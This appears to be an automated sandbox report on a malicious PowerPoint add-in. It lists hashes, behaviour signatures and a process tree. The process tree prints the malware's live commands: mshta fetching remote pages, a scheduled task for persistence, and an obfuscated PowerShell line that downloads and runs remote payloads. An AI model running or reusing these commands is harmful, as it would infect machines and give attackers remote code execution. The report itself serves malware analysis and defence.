Analysis

  • max time kernel
    121s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    18-10-2021 09:32

General

  • Target

    M0120211002081457786750.ppam

  • Size

    11KB

  • MD5

    6dcc9d21ef2edc9fd781ff822bd084d9

  • SHA1

    6f06878c124458c4c470c271f403a996cc695bf1

  • SHA256

    33f4029423a3f52c376e6335e41d1ac4fccc9eff56aa29942cda968def3834c4

  • SHA512

    61a30c98be6af40ce7cc606ce0a864a1e3fece6cdd10f25af6e2bceebd3b240f4b73d22e9e9b0d27d1872747831ebeca97aa0dd1c4ffa3f9181ed0fdceb2c615

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 12 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\M0120211002081457786750.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1152
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:836
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\System32\mshta.exe" http://www.bitly.com/doaksoodwdasdwmdaweu
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1256
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1828
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1900
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/9.html\""
          3⤵
          • Creates scheduled task(s)
          PID:1440
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_9ced8c4882bf438794323650cefdf10a.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_6d3e937b03944ed6970ddcdfb041998e.txt').GetResponse().GetResponseStream()).ReadToend());
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1552

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/836-57-0x0000000000000000-mapping.dmp

    • memory/836-59-0x000007FEFBB71000-0x000007FEFBB73000-memory.dmp

      Filesize

      8KB

    • memory/1152-55-0x0000000071361000-0x0000000071363000-memory.dmp

      Filesize

      8KB

    • memory/1152-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1152-58-0x00000000757A1000-0x00000000757A3000-memory.dmp

      Filesize

      8KB

    • memory/1152-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1152-54-0x0000000074181000-0x0000000074185000-memory.dmp

      Filesize

      16KB

    • memory/1256-65-0x0000000006B20000-0x0000000006B21000-memory.dmp

      Filesize

      4KB

    • memory/1256-60-0x0000000000000000-mapping.dmp

    • memory/1440-66-0x0000000000000000-mapping.dmp

    • memory/1552-67-0x0000000000000000-mapping.dmp

    • memory/1552-69-0x0000000002280000-0x0000000002ECA000-memory.dmp

      Filesize

      12.3MB

    • memory/1552-70-0x0000000002280000-0x0000000002ECA000-memory.dmp

      Filesize

      12.3MB

    • memory/1552-71-0x0000000002280000-0x0000000002ECA000-memory.dmp

      Filesize

      12.3MB

    • memory/1828-63-0x0000000000000000-mapping.dmp

    • memory/1900-64-0x0000000000000000-mapping.dmp